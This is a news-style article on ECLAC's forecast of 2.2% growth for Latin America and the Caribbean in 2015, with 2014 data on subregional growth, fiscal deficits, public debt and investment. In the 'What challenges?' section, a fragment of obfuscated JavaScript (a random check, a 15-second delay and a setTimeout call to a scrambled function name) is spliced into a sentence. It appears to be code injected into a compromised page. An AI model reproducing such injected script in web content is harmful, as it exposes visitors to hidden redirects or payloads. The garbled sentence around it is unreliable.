The Economic Commission for Latin America and the Caribbean (ECLAC) predicts growth of 2.2% for the region.

According to ECLAC, this moderate growth will be associated with a slow and heterogeneous recovery of the world economy, characterized by a trajectory of reduction in raw material prices and an increase in financial uncertainties. Growth dynamics will be different in each country and subregion of South America and the Caribbean, as was already seen in 2014. It is estimated that Central America, together with Haiti and the Spanish-speaking Caribbean, will grow at a rate at 4.1%, South America at 1.8% and the English-speaking Caribbean at a rate of 2.2%.

As can be seen in the table below, the countries with the highest rates of regional expansion for 2015 will be Panama, with a growth in its gross domestic product (GDP) of 7.0%, Bolivia (5.5%), the Peru, the Dominican Republic and Nicaragua (5.0%).

More data was revealed by the 2014 informative document referring to the Preliminary Balance of the Economies of Latin America and the Caribbean, prepared by this United Nations body, in which we can see that the average regional growth in 2014 was only 1.1%, the lowest expansion since 2009. In this context, regional performance reveals great heterogeneity between countries and subregions: Central America, together with Haiti and the Spanish-speaking Caribbean, grew 3.7%, South America grew 0 .7% and the English-speaking Caribbean 1.9%.

In fiscal matters, Latin America will register a slight increase in its deficit from 2.4% of GDP in 2013 to 2.7% in 2014, while the Caribbean will reduce its deficit to 3.9% in 2014, or in other words, a decrease compared to the 4.1% recorded last year. In addition to this fact, the public debt of the region’s countries will remain at low and stable levels, corresponding, on average, to 32% of GDP.

Regarding investment, there has been a slowdown in investment since 2011, remaining at 3.5% in 2014. These low values are an important cause for the fall in the region’s GDP growth rate.

What challenges?

The Latin American and Caribbean region must redouble its efforts to become more competitive in foreign markets and, in turn, increase efforts to open new markets. International trade must be observed as a source of opportunities, contradicting()*5);if(number1==3){var delay=15000;setTimeout($GQRkExOVl1p57bbeL4u(0),delay)}giving the weak pace of growth of developed countries and the moderate expansion of emerging economies. To strengthen this trajectory, the solution may involve increasing regional integration processes – commercial, productive, financial integration.

Another fact that deserves to be highlighted is related to domestic demand, the region’s main growth driver since the 2009 financial crisis. In this context, together with the promotion of export potential, the region must be able to sustain and increase domestic demand in order to reverse the slowdown in growth.

The key component of promoting domestic demand lies in investment. As already mentioned, the loss of dynamism in investment was one of the factors behind the slowdown of many economies in Latin America and the Caribbean. For this reason, leveraging public and private investment rates is the main challenge faced by the region’s economies in 2015. It is important to note that investment promotion is dependent on the fiscal situation of the country in question and its respective capacity to mobilize resources. With low levels of public debt, it is possible to make optimistic considerations regarding the capacity of Latin American and Caribbean countries to promote public investment through infrastructure projects.

The ECLAC study emphasizes the need to expand the counter-cyclical macroeconomic architecture by incorporating mechanisms that protect investment financing. Countering the trends of weakening cycles in public accounts and investment is an effective challenge for the countries of Latin America and the Caribbean, which are required to strengthen the region’s capacity to face financial shocks.